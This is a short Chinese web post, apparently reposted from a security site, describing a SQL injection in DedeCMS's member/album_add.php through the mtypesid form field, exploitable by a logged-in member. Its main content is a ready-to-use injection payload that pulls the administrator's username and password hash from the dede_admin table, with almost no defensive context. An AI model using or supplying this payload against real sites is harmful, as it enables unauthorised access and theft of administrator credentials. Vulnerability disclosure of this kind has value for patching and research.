dedecms(织梦)album_add.php sql注入 - 网站安全 - 自学

dedecms一处注入，较鸡肋，之前变量覆盖的 漏洞 太轰动了，所以一直没发出，之前5月份最新版本测试的

 

漏洞需要会员，所以比较鸡肋啦

发表文章处，post表单的mtypesid可以注入

/dedecmsnew/member/album_add.php 

 

注入POC：

 

 mtypesid=1'),("'",'0','1367930810','p','0','2','-1','0','0',(SELECT concat(userid,0x5f,pwd,0x5f) FROM dede_admin where userid='admin'),'','','12333','','','1367930810','1367930810','4','image','test','3')#@`'`' 

 

查看更多关于dedecms(织梦)album_add.php sql注入 - 网站安全 - 自学的详细内容...